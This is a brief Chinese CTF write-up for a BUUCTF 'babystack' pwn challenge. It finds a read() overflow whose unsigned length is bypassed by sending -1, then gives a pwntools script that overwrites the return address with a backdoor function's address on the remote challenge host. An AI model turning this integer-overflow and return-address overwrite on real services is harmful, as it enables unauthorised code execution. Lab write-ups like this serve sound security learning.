1.checksec+运行
64位/NX保护
2.64位IDA进行中
1.main函数
read()函数溢出
跟进buf,看看偏移
offset=0x10+8
但要注意一点:
read(0, buf, (unsigned int)nbytes);
无符号整型,需要输入-1,进行整型溢出
接下来就是常规的操作
backdoor函数地址
3.直接上脚本
from pwn import*
#p=process('./12babystack')
p=remote("node4.buuoj.cn",28922)
backdoor=0x4006E6
p.recvuntil('[+]Please input the length of your name:')//发送-1交互,整型溢出
p.sendline('-1')
payload=b'a'*(0x10+8)+p64(backdoor)
p.sendline(payload)
p.interactive()